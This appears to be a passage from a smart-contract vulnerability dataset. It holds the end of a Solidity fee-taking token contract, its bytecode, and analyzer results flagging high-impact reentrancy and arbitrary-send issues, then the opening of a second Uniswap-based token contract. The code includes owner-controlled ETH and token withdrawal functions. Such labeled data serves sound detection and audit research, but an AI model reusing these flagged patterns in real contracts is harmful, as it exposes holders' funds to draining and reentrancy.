totalFee = _liquidityFee.add(_marketingFee);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator/5);
}
function launchModeStatus() external view returns(bool) {
return launchMode();
}
function launchMode() internal view returns(bool) {
return launchedAt !=0 && launchedAt + 3 < block.number && launchedTime + 2 minutes >= block.timestamp ;
}
function recoverEth() external onlyOwner() {
payable(msg.sender).transfer(address(this).balance);
}
function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){
_sent = IERC20(_token).transfer(msg.sender, amount);
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
}
|
0x6080604052600436106101fd5760003560e01c8063a4b45c001161010d578063cec10c11116100a0578063e96fada21161006f578063e96fada214610ae1578063f0b37c0414610b22578063f2fde38b14610b73578063f887ea4014610bc4578063fe9fbb8014610c0557610204565b8063cec10c11146109af578063d43f5d6c146109fe578063dd62ed3e14610a15578063df20fd4914610a9a57610204565b8063b6a5d7de116100dc578063b6a5d7de146108db578063bcdb446b1461092c578063bf56b37114610943578063ca33e64c1461096e57610204565b8063a4b45c0014610747578063a8aa1b31146107b8578063a9059cbb146107f9578063b29a81401461086a57610204565b8063571ac8b0116101905780636ddd17131161015f5780636ddd1713146105b957806370a08231146105e65780637ae316d01461064b578063893d20e81461067657806395d89b41146106b757610204565b8063571ac8b0146104b35780635804f1e41461051a5780635fe7208c14610545578063658d4b7f1461055c57610204565b806323b872dd116101cc57806323b872dd146103605780632f54bf6e146103f1578063313ce567146104585780634d54288b1461048657610204565b80630445b6671461020957806306fdde0314610234578063095ea7b3146102c457806318160ddd1461033557610204565b3661020457005b600080fd5b34801561021557600080fd5b5061021e610c6c565b6040518082815260200191505060405180910390f35b34801561024057600080fd5b50610249610c72565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028957808201518184015260208101905061026e565b50505050905090810190601f1680156102b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d057600080fd5b5061031d600480360360408110156102e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610caf565b60405180821515815260200191505060405180910390f35b34801561034157600080fd5b5061034a610da1565b6040518082815260200191505060405180910390f35b34801561036c57600080fd5b506103d96004803603606081101561038357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dab565b60405180821515815260200191505060405180910390f35b3480156103fd57600080fd5b506104406004803603602081101561041457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fab565b60405180821515815260200191505060405180910390f35b34801561046457600080fd5b5061046d611004565b604051808260ff16815260200191505060405180910390f35b34801561049257600080fd5b5061049b61100d565b60405180821515815260200191505060405180910390f35b3480156104bf57600080fd5b50610502600480360360208110156104d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061101c565b60405180821515815260200191505060405180910390f35b34801561052657600080fd5b5061052f61104f565b6040518082815260200191505060405180910390f35b34801561055157600080fd5b5061055a611055565b005b34801561056857600080fd5b506105b76004803603604081101561057f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506110da565b005b3480156105c557600080fd5b506105ce6111b0565b60405180821515815260200191505060405180910390f35b3480156105f257600080fd5b506106356004803603602081101561060957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111c3565b6040518082815260200191505060405180910390f35b34801561065757600080fd5b5061066061120c565b6040518082815260200191505060405180910390f35b34801561068257600080fd5b5061068b611241565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c357600080fd5b506106cc61126a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561070c5780820151818401526020810190506106f1565b50505050905090810190601f1680156107395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561075357600080fd5b506107b66004803603604081101561076a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112a7565b005b3480156107c457600080fd5b506107cd6113a8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561080557600080fd5b506108526004803603604081101561081c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113ce565b60405180821515815260200191505060405180910390f35b34801561087657600080fd5b506108c36004803603604081101561088d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113e3565b60405180821515815260200191505060405180910390f35b3480156108e757600080fd5b5061092a600480360360208110156108fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611514565b005b34801561093857600080fd5b506109416115e9565b005b34801561094f57600080fd5b506109586116ad565b6040518082815260200191505060405180910390f35b34801561097a57600080fd5b506109836116b3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109bb57600080fd5b506109fc600480360360608110156109d257600080fd5b810190808035906020019092919080359060200190929190803590602001909291905050506116d9565b005b348015610a0a57600080fd5b50610a136117a1565b005b348015610a2157600080fd5b50610a8460048036036040811015610a3857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611826565b6040518082815260200191505060405180910390f35b348015610aa657600080fd5b50610adf60048036036040811015610abd57600080fd5b81019080803515159060200190929190803590602001909291905050506118ad565b005b348015610aed57600080fd5b50610af6611961565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2e57600080fd5b50610b7160048036036020811015610b4557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611987565b005b348015610b7f57600080fd5b50610bc260048036036020811015610b9657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a5d565b005b348015610bd057600080fd5b50610bd9611bbf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c1157600080fd5b50610c5460048036036020811015610c2857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be5565b60405180821515815260200191505060405180910390f35b60175481565b60606040518060400160405280600881526020017f5465616d53656173000000000000000000000000000000000000000000000000815250905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f9757610f16826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3b9092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610fa2848484611cfb565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b60006110176123cc565b905090565b6000611048827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610caf565b9050919050565b60155481565b61105e33611be5565b6110d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6110d86123fa565b565b6110e333610fab565b611155576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601660009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000436003601454011115611238576112316001600f5461295090919063ffffffff16565b905061123e565b600e5490505b90565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5345415300000000000000000000000000000000000000000000000000000000815250905090565b6112b033610fab565b611322576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113db338484611cfb565b905092915050565b60006113ee33611be5565b611460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114d157600080fd5b505af11580156114e5573d6000803e3d6000fd5b505050506040513d60208110156114fb57600080fd5b8101908080519060200190929190505050905092915050565b61151d33610fab565b61158f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6115f233610fab565b611664576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156116aa573d6000803e3d6000fd5b50565b60145481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6116e233611be5565b611754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b82600c8190555081600d81905550611775828461299a90919063ffffffff16565b600e8190555080600f819055506005600f548161178e57fe5b04600e541061179c57600080fd5b505050565b6117aa33611be5565b61181c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b611824612a22565b565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6118b633610fab565b611928576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601660006101000a81548160ff02191690831515021790555061195781600354612f8490919063ffffffff16565b6017819055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61199033610fab565b611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611a6633610fab565b611ad8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000838311158290611ce8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611cad578082015181840152602081019050611c92565b50505050905090810190601f168015611cda5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000601860009054906101000a900460ff1615611d2457611d1d848484612fce565b90506123c5565b611d2c6131a1565b15611d6457603c601554014210158015611d4857506000600654145b15611d5a57611d55612a22565b611d63565b611d626123fa565b5b5b611d6c613278565b158015611dc65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611e20576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611e1757600080fd5b611e1f613285565b5b611ea9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3b9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef46123cc565b8015611f4e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fa45760055482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115611fa357600080fd5b5b611fac6123cc565b80156120065750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561205357506014600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540142105b156122055742600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ee82600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299a90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60006040518082815260200191505060405180910390a33073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506123c5565b42600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166122c1576122a5856132a7565b6122af57826122ba565b6122b985846132fe565b5b90506122c5565b8290505b61231781600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b600080601454141580156123e4575043600360145401105b80156123f557504260786015540110155b905090565b6001601860006101000a81548160ff02191690831515021790555060006124556002612447600e54612439600c5460175461358e90919063ffffffff16565b612f8490919063ffffffff16565b612f8490919063ffffffff16565b9050600061246e8260175461295090919063ffffffff16565b90506000600267ffffffffffffffff8111801561248a57600080fd5b506040519080825280602002602001820160405280156124b95781602001602082028036833780820191505090505b50905030816000815181106124ca57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061253457fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000853061016842016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561263b578082015181840152602081019050612620565b505050509050019650505050505050600060405180830381600087803b15801561266457600080fd5b505af1158015612678573d6000803e3d6000fd5b505050506000612691824761295090919063ffffffff16565b905060006126bf6126ae6002600c54612f8490919063ffffffff16565b600e5461295090919063ffffffff16565b905060006126fd60026126ef846126e1600c548861358e90919063ffffffff16565b612f8490919063ffffffff16565b612f8490919063ffffffff16565b905060006127288361271a600d548761358e90919063ffffffff16565b612f8490919063ffffffff16565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612792573d6000803e3d6000fd5b50600088111561292b57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661016842016040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561288c57600080fd5b505af11580156128a0573d6000803e3d6000fd5b50505050506040513d60608110156128b757600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001600654016006819055507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068289604051808381526020018281526020019250505060405180910390a15b50505050505050506000601860006101000a81548160ff021916908315150217905550565b600061299283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c3b565b905092915050565b600080828401905083811015612a18576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6001601860006101000a81548160ff0219169083151502179055506000612a836002612a75600e54612a67600c54612a59306111c3565b61358e90919063ffffffff16565b612f8490919063ffffffff16565b612f8490919063ffffffff16565b90506000612aa282612a94306111c3565b61295090919063ffffffff16565b90506000600267ffffffffffffffff81118015612abe57600080fd5b50604051908082528060200260200182016040528015612aed5781602001602082028036833780820191505090505b5090503081600081518110612afe57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110612b6857fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000853061016842016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612c6f578082015181840152602081019050612c54565b505050509050019650505050505050600060405180830381600087803b158015612c9857600080fd5b505af1158015612cac573d6000803e3d6000fd5b505050506000612cc5824761295090919063ffffffff16565b90506000612cf3612ce26002600c54612f8490919063ffffffff16565b600e5461295090919063ffffffff16565b90506000612d316002612d2384612d15600c548861358e90919063ffffffff16565b612f8490919063ffffffff16565b612f8490919063ffffffff16565b90506000612d5c83612d4e600d548761358e90919063ffffffff16565b612f8490919063ffffffff16565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612dc6573d6000803e3d6000fd5b506000881115612f5f57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661016842016040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b158015612ec057600080fd5b505af1158015612ed4573d6000803e3d6000fd5b50505050506040513d6060811015612eeb57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001600654016006819055507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068289604051808381526020018281526020019250505060405180910390a15b50505050505050506000601860006101000a81548160ff021916908315150217905550565b6000612fc683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613614565b905092915050565b6000613059826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3b9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130ee82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299a90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561320e5750601860009054906101000a900460ff16155b80156132265750601660009054906101000a900460ff165b80156132735750601754600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6000806014541415905090565b61328d613278565b1561329757600080fd5b4360148190555042601581905550565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b6000806133096123cc565b8015613316575060045483115b15613447576133306004548461295090919063ffffffff16565b905061338481600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299a90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a361343f818461295090919063ffffffff16565b915050613588565b613475600f5461346761345861120c565b8661358e90919063ffffffff16565b612f8490919063ffffffff16565b90506134c981600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299a90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3613584818461295090919063ffffffff16565b9150505b92915050565b6000808314156135a1576000905061360e565b60008284029050828482816135b257fe5b0414613609576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806136db6021913960400191505060405180910390fd5b809150505b92915050565b600080831182906136c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561368557808201518184015260208101905061366a565b50505050905090810190601f1680156136b25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816136cc57fe5b04905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212203acb7ca96fcf5979dee9bfafaf694f02567f0c2092d10bbe3940394f0f73e86364736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,676 |
0x261c4e8f95872d83e55b4335d614dd7030437af2
|
/**
*Submitted for verification at Etherscan.io on 2021-10-04
*/
/*
2.5% marketing
2.5% dev
10% buyback
1% transaction limit first five minutes
1 trillion supply
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
